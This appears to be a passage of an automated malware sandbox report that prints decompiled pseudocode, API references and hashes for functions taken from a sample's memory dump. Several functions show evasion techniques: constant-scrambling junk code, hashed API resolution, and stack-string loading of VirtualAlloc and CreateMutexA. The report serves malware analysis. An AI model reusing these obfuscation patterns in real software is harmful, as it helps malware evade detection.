Instruction Fuzzy Hash: D3112731B101059BEB00CFA9C850B56B375FFA1311F1505AAE8189F346DB31EE52C780

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

0x1000424e
0x10004254
0x1000425b
0x10004262
0x10004269
0x10004272
0x10004277
0x1000427c
0x10004283
0x1000428a
0x10004291
0x10004298
0x100042a2
0x100042aa
0x100042ad
0x100042b1
0x100042b5
0x100042bc
0x100042c3
0x100042c7
0x100042e7
0x100042f1

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000003.00000002.251740813.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.251716895.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.251806261.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF601B7, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EF601B7(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6ef9e7c8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6EF62E3C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6EF601A4(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6EF62A43(_t15, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

APIs

RtlAllocateHeap.NTDLL(00000008,0000BC00,00000000,?,6EF611DC,00000001,00000364,00000006,000000FF,?,6EF5C421,0000BC00,6EF9E844,00000000), ref: 6EF601F8

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f05789996c4ff43b0605334f8f2ffbde8e58c04238b83a22779fb6a36b9928bb
Instruction ID: 8051e091446b85dbdd2cb308aff44b14399047970e528625cbc281f5674c4d00
Opcode Fuzzy Hash: f05789996c4ff43b0605334f8f2ffbde8e58c04238b83a22779fb6a36b9928bb
Instruction Fuzzy Hash: 41F0B43268062567FFB15AE68C30B8B3768AF82770F208126AC35A7180EBB0D50086E1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5FEB1, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EF5FEB1(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6EF601A4(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6ef9e7c8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6EF62E3C();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6EF62A43(_t7, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

APIs

RtlAllocateHeap.NTDLL(00000000,6EF9E844,6EF9E824,?,6EF5C421,0000BC00,6EF9E844,00000000), ref: 6EF5FEE3

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83667b4e4f767cccb8597d715c3b65a568e3b8b437de4d5620188e58c7fe99f1
Instruction ID: fb51693a56cca703826326ca5b1131d763ca97fac0eedde9af9fc8e2422dd985
Opcode Fuzzy Hash: 83667b4e4f767cccb8597d715c3b65a568e3b8b437de4d5620188e58c7fe99f1
Instruction Fuzzy Hash: A0E0A02315026167FAD066E59C30B977B4C9BB37A0F3000E2ED64963C6DBA0C91081A1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5E93F, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF5E93F(intOrPtr _a4) {
				intOrPtr _v8;
				void* _t5;

				_v8 = 0;
				_t5 = E6EF5FEFF(_a4); // executed
				return _t5;
			}

0x6ef5e948
0x6ef5e952
0x6ef5e95b

APIs

_free.LIBCMT ref: 6EF5E952

Part of subcall function 6EF5FEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 25859c18ab612c5f0631ce58c7b6183bdee4517b4cbaaa23e1fa741b9d1b91b5
Instruction ID: 622b222ebfc08ae863bab107e30928e6a2282be0509ec51d69c7d65da1708a99
Opcode Fuzzy Hash: 25859c18ab612c5f0631ce58c7b6183bdee4517b4cbaaa23e1fa741b9d1b91b5
Instruction Fuzzy Hash: 85C0123240424CBBCB008A89E806A9ABBA8DB80324F3002C9F80807300DB72AE2096C0

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

0x100117d2
0x100117d5
0x100117d7
0x100117db
0x100117dc
0x100117e1
0x100117e8
0x100117f1
0x100117f8
0x100117ff
0x10011803
0x10011807
0x1001180e
0x1001181b
0x10011822
0x10011825
0x1001182c
0x10011833
0x10011844
0x10011847
0x10011859
0x1001185c
0x10011863
0x1001186a
0x1001186e
0x10011881
0x1001188d
0x10011893

APIs

lstrcmpiW.KERNELBASE(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000003.00000002.251740813.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.251716895.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.251806261.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5BA90, Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF5BA90(void* _a4, long _a8, long _a12, long _a16) {
				void* _t5;

				_t5 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t5;
			}

0x6ef5ba9f
0x6ef5baa6

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 6EF5BA9F

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d47a6c723f74b4ac96370998538771efe4abf7923650b91edd44677567b13fb8
Instruction ID: b864e0680d664d1c43595b5f2fbb50c60e2fc9d936bcb25334a42724b5f7382d
Opcode Fuzzy Hash: d47a6c723f74b4ac96370998538771efe4abf7923650b91edd44677567b13fb8
Instruction Fuzzy Hash: 91C0483200024EFBCF026F81EC048AA7F3AFB4A2A0B008414FA2844021C7339930ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5BAB0, Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF5BAB0(void* _a4, long _a8, long _a12) {
				int _t4;

				_t4 = VirtualFree(_a4, _a8, _a12); // executed
				return _t4;
			}

0x6ef5babc
0x6ef5bac3

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 6EF5BABC

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: dba4dbba4c986dc3d2df77a8f142117db734424d81a7b0d5126124b81a68e3d1
Instruction ID: caddb20a9aa765d701669e376ac47fde8bfbfe1ad84d6db10c1f9b66ab0f7d55
Opcode Fuzzy Hash: dba4dbba4c986dc3d2df77a8f142117db734424d81a7b0d5126124b81a68e3d1
Instruction Fuzzy Hash: 37B0923204024DFBCF022F81DC048E93F3AFB4A2A1B008454FA2C44020C7339570AB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EF41305, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF41305() {
				char _v5;
				intOrPtr _v9;
				intOrPtr _v13;
				char _v17;
				char _v18;
				intOrPtr _v22;
				intOrPtr _v26;
				char _v30;
				char _v31;
				char _v32;
				short _v34;
				intOrPtr _v38;
				char _v42;
				char _v43;
				intOrPtr _v47;
				intOrPtr _v51;
				char _v55;
				char _v56;
				intOrPtr _v60;
				char _v64;
				struct HINSTANCE__* _t26;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t30;
				struct HINSTANCE__* _t32;
				_Unknown_base(*)()* _t33;

				_v64 = 0x6e72656b;
				_v60 = 0x32336c65;
				_v56 = 0;
				_v55 = 0x74726956;
				_v51 = 0x416c6175;
				_v47 = 0x636f6c6c;
				_v43 = 0;
				_v42 = 0x74726956;
				_v38 = 0x466c6175;
				_v34 = 0x6572;
				_v32 = 0x65;
				_v31 = 0;
				_v30 = 0x61657243;
				_v26 = 0x754d6574;
				_v22 = 0x41786574;
				_v18 = 0;
				_v17 = 0x4c746547;
				_v13 = 0x45747361;
				_v9 = 0x726f7272;
				_v5 = 0;
				_t21 =  &_v64; // 0x6e72656b
				_t26 = GetModuleHandleA(_t21);
				if(_t26 != 0) {
					_t22 =  &_v55; // 0x74726956
					 *0x6ef86064 = GetProcAddress(_t26, _t22);
					_t28 = _t26;
					_t23 =  &_v42; // 0x74726956
					 *0x6ef86068 = GetProcAddress(_t28, _t23);
					_t30 = _t28;
					_t24 =  &_v30; // 0x61657243
					 *0x6ef8606c = GetProcAddress(_t30, _t24);
					_t32 = _t30;
					_t33 = GetProcAddress(_t32,  &_v17);
					 *0x6ef86070 = _t33;
					return _t33;
				}
				return _t26;
			}

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EF41388
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 6EF41398
GetProcAddress.KERNEL32(6E72656B,VirtualFreCreateMutexA), ref: 6EF413AA
GetProcAddress.KERNEL32(32336C65,CreateMutexA), ref: 6EF413BC
GetProcAddress.KERNEL32(00000000,4C746547), ref: 6EF413CD

Strings

rror, xrefs: 6EF41379
VirtualAlloc, xrefs: 6EF41393, 6EF41396
GetL, xrefs: 6EF4136B
VirtualFreCreateMutexA, xrefs: 6EF413A5, 6EF413A8
astE, xrefs: 6EF41372
texA, xrefs: 6EF41360
kernel32, xrefs: 6EF41384, 6EF41387

Memory Dump Source

Source File: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: GetL$VirtualAlloc$VirtualFreCreateMutexA$astE$kernel32$rror$texA
API String ID: 667068680-3744176233
Opcode ID: 695f2ddfcd52f4294f93b4a0de4f868eac9fbfd0079f6eccf9a1f3eba1300a62
Instruction ID: af2127a608d49fc40e2dbab1eeddd022a4946d41df4b794a5a8dc98d7d6b7498
Opcode Fuzzy Hash: 695f2ddfcd52f4294f93b4a0de4f868eac9fbfd0079f6eccf9a1f3eba1300a62
Instruction Fuzzy Hash: 8321F3B1C18788EFEF01DFE4D558BEEBF79AB86700F108549E441AA254DA758204CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6429D, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF6429D(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6ef86790) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6EF5FEFF(_t46);
							E6EF64608( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6EF5FEFF(_t47);
							E6EF64706( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6EF5FEFF( *((intOrPtr*)(_t74 + 0x7c)));
						E6EF5FEFF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6EF5FEFF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6EF64410( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6ef86260) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6EF5FEFF(_t31);
							E6EF5FEFF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6EF5FEFF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6EF5FEFF(_t74);
			}

APIs

___free_lconv_mon.LIBCMT ref: 6EF642E1

Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64625
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64637
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64649
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6465B
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6466D
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF6467F
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF64691
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646A3
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646B5
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646C7
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646D9
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646EB
Part of subcall function 6EF64608: _free.LIBCMT ref: 6EF646FD

_free.LIBCMT ref: 6EF642D6

Part of subcall function 6EF5FEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF642F8
_free.LIBCMT ref: 6EF6430D
_free.LIBCMT ref: 6EF64318
_free.LIBCMT ref: 6EF6433A
_free.LIBCMT ref: 6EF6434D
_free.LIBCMT ref: 6EF6435B
_free.LIBCMT ref: 6EF64366
_free.LIBCMT ref: 6EF6439E
_free.LIBCMT ref: 6EF643A5
_free.LIBCMT ref: 6EF643C2
_free.LIBCMT ref: 6EF643DA

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 21b8b8085d649d74b5d97a8b019cbc7682bbe2d888e362e57a87cc586e65228c
Instruction ID: 82dc11041d3b9edc4908cb058aed2452ed37cc4ffed0644fffe9b4d47411bef1
Opcode Fuzzy Hash: 21b8b8085d649d74b5d97a8b019cbc7682bbe2d888e362e57a87cc586e65228c
Instruction Fuzzy Hash: 79319332604342DFE790AAB8D871B8A73EDBF50324F30499AE055C7660DF31A891DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EF60EF4, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EF60EF4(void* __edx, void* __esi, char _a4) {
				char _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				intOrPtr _t67;
				void* _t71;
				void* _t72;

				_t72 = __esi;
				_t71 = __edx;
				_t36 = _a4;
				_t67 =  *_a4;
				_t76 = _t67 - 0x6ef68a38;
				if(_t67 != 0x6ef68a38) {
					E6EF5FEFF(_t67);
					_t36 = _a4;
				}
				E6EF5FEFF( *((intOrPtr*)(_t36 + 0x3c)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x30)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x34)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x38)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x28)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x2c)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x40)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x44)));
				E6EF5FEFF( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6EF60D3C( &_v5, _t71, _t76);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6EF60D9D( &_v5, _t71, _t72, _t76);
			}

APIs

_free.LIBCMT ref: 6EF60F0A

Part of subcall function 6EF5FEFF: RtlFreeHeap.NTDLL(00000000,00000000,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?), ref: 6EF5FF15
Part of subcall function 6EF5FEFF: GetLastError.KERNEL32(?,?,6EF64799,?,00000000,?,00000000,?,6EF647C0,?,00000007,?,?,6EF64436,?,?), ref: 6EF5FF27

_free.LIBCMT ref: 6EF60F16
_free.LIBCMT ref: 6EF60F21
_free.LIBCMT ref: 6EF60F2C
_free.LIBCMT ref: 6EF60F37
_free.LIBCMT ref: 6EF60F42
_free.LIBCMT ref: 6EF60F4D
_free.LIBCMT ref: 6EF60F58
_free.LIBCMT ref: 6EF60F63
_free.LIBCMT ref: 6EF60F71

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fd15f25670ebbe84185159b508eff722dbbf1ed86e514791136f9244925c4372
Instruction ID: 51d948bd5574a7b7d171630bbe784b0b4719eed13ee58a359b9234bca2c8ff10
Opcode Fuzzy Hash: fd15f25670ebbe84185159b508eff722dbbf1ed86e514791136f9244925c4372
Instruction Fuzzy Hash: DD216876900188AFCB41EFD8C890DDE7BB9AF18354F2146E6E5159B621EB31EA54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5D3D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EF5D3D0(void* __ebx, void* __edi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v40;
				char _t51;
				signed int _t58;
				intOrPtr _t59;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				intOrPtr* _t64;
				intOrPtr* _t67;
				intOrPtr _t71;
				intOrPtr _t73;
				signed int _t75;
				char _t77;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t110;

				_t71 = _a8;
				_v5 = 0;
				_t93 = _t71 + 0x10;
				_push(_t93);
				_v16 = 1;
				_v20 = _t93;
				_v12 =  *(_t71 + 8) ^  *0x6ef8609c;
				E6EF5D390( *(_t71 + 8) ^  *0x6ef8609c);
				E6EF5D717(_a12);
				_t51 = _a4;
				_t102 = _t101 + 0xc;
				_t90 =  *((intOrPtr*)(_t71 + 0xc));
				if(( *(_t51 + 4) & 0x00000066) != 0) {
					__eflags = _t90 - 0xfffffffe;
